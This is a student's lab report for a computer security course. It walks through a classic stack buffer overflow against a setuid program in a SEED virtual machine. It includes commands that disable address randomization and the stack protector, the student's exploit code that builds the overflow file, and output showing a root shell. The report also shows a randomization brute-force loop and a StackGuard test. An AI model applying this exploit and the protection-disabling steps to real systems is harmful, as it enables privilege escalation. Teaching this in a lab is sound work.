Carsten Hood, UIN: 922009787
CSCE 465-500 Computer & Network Security
Due Friday, October 6, 2017

HW #1: Buffer Overflow Vulnerability Lab Report

==

1. Lab Overview

In this lab we experiment with running a buffer overflow attack that exploits a simple program in order to obtain root privilege over an operating system. The program *exploit* generates a file *badfile*, whose contents when loaded by a program *stack* cause a buffer overflow, which overwrites *stack*'s return address and spawns a root shell. In order to accomplish this, we toggle certain protections built into the operating system, such as the stack guard and address randomization protections.

==

2. Lab Setup

2.1.1 Seed VMs

Enabling address space randomization:

```
[10/05/2017 10:24] seed@ubuntu:~$ su root
Password:
[10/05/2017 10:27] root@ubuntu:/home/seed# sysctl -w kernel.randomize_va_spa
e=0
kernel.randomize_va_space = 0
```

2.1.2 Shellcode

Compiling test shellcode:

```
[10/05/2017 10:46] seed@ubuntu:~/Desktop/hw2$ gcc -z execstack -o call_shellcode c
all_shellcode.c
[10/05/2017 10:46] seed@ubuntu:~/Desktop/hw2$ ./call_shellcode
$ exit
[10/05/2017 10:47] seed@ubuntu:~/Desktop/hw2$ 9
```

2.2 The Vulnerable Program

Compiling the vulnerable program and making it set-root-UID:

```
[10/05/2017 10:30] root@ubuntu:/home/seed/Desktop/hw2# gcc -o stack -z execstack -
fno-stack-protector stack.c
[10/05/2017 10:31] root@ubuntu:/home/seed/Desktop/hw2# chmod 4755 stack
[10/05/2017 10:31] root@ubuntu:/home/seed/Desktop/hw2# exit
exit
[10/05/2017 10:31] seed@ubuntu:~$
```

==

3. Tasks

3.1. Task 1: Exploiting the Vulnerability

We modified the *badfile*-generating program *exploit.c* by inserting the following code:

```
    /* ================================== */
    /* student code */

    /* add appropriate content to the buffer that will be written to a file named
badfile, which, in turn, will cause a buffer overflow when the file is is input to
the vulnerable program, stack.c */

    long *addr_ptr, addr;
    char *ptr;

    int offset = 200;
    int bsize = 517;

    addr = get_sp() + offset;
    ptr = buffer;
    addr_ptr = (long *)(ptr);

    /* populate with buffer address */
    int i;
    for (i = 0; i < 10; i++)
        *(addr_ptr++) = addr;

    /* insert shell code into buffer */
    for (i = 0; i < strlen(shellcode); i++)
        buffer[bsize - (sizeof(shellcode) + 1) + i] = shellcode[i];

    /* insert code for NULL at end of buffer */
    buffer[bsize - 1] = '\0';

    /* end of student code */
    /* ================================== */
```

Here (1) *exploit* is compiled; (2) *exploit* is executed to generate *badfile*; (3) *stack* is executed and compromised by *badfile*, granting root access denoted by the pound symbol "#". We then use the *id* and *whoami* commands to demonstrate successfulness.

```
[10/05/2017 18:36] seed@ubuntu:~/Desktop/hw2$ gcc -o exploit exploit2.c
[10/05/2017 18:36] seed@ubuntu:~/Desktop/hw2$ ./exploit
[10/05/2017 18:36] seed@ubuntu:~/Desktop/hw2$ ./stack
# id
uid=1000(seed) gid=1000(seed) euid=0(root) groups=0(root),4(adm),24(cdrom),27(
sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare),130(wireshark),1000(see
d) context=unconfined_u:system_r:insmod_t:s0-s0:c0.c255
# whoami
root
# 
```

3.2. Task 2: Address Randomization

Below we re-enable address randomization and then use an unending loop to repeat the attack until it coincides with the desired return address.

```
<:/home/seed/Desktop/hw2# /sbin/sysctl -w kernel.randomize_va_space=2
kernel.randomize_va_space = 2
<:/home/seed/Desktop/hw2# sh -c "while [ 1 ]; do ./stack; done;"
Segmentation fault (core dumped)
Segmentation fault (core dumped)
Segmentation fault (core dumped)
```

This makes the attack much more difficult because there is a small chance that the return address will be overwritten given the amount of available memory space. The *stack* execution must overlap precisely with the range of the buffer that overwrites the address such that a root shell is generated. Attempts weren't counted but in my case around 30-35 minutes elapsed before a root shell was achieved, shown below:

```
Segmentation fault (core dumped)
Segmentation fault (core dumped)
Segmentation fault (core dumped)
#
```

3.3. Task 3: Stack Guard

We disable address randomization again and then compile *stack* without disabling the stack protector mechanism:

```
[10/06/2017 12:02] root@ubuntu:/home/seed/Desktop/hw2# sysctl -w kernel.randomiz
e_va_space=0
kernel.randomize_va_space = 0
[10/06/2017 12:02] root@ubuntu:/home/seed/Desktop/hw2# gcc -o stack -z execstack
 stack.c
[10/06/2017 12:02] root@ubuntu:/home/seed/Desktop/hw2# chmod 4755 stack
[10/06/2017 12:03] root@ubuntu:/home/seed/Desktop/hw2# exit
exit
```

Then we regenerate *badfile* and rerun *stack*:

```
[10/06/2017 12:03] seed@ubuntu:~/Desktop/hw2$ gcc -o exploit exploit2.c
[10/06/2017 12:03] seed@ubuntu:~/Desktop/hw2$ ./exploit
[10/06/2017 12:04] seed@ubuntu:~/Desktop/hw2$ ./stack
Returned Properly
[10/06/2017 12:04] seed@ubuntu:~/Desktop/hw2$
```

Now for the first time *stack* executes successfully. Presumably this is because StackGuard prevents buffer overflow from occurring. To bypass StackGuard, which protects the return pointer with an adjacent canary value, we would have to modify *exploit* so that it targets other vulnerable pointers in the program via buffer overflows besides the return address.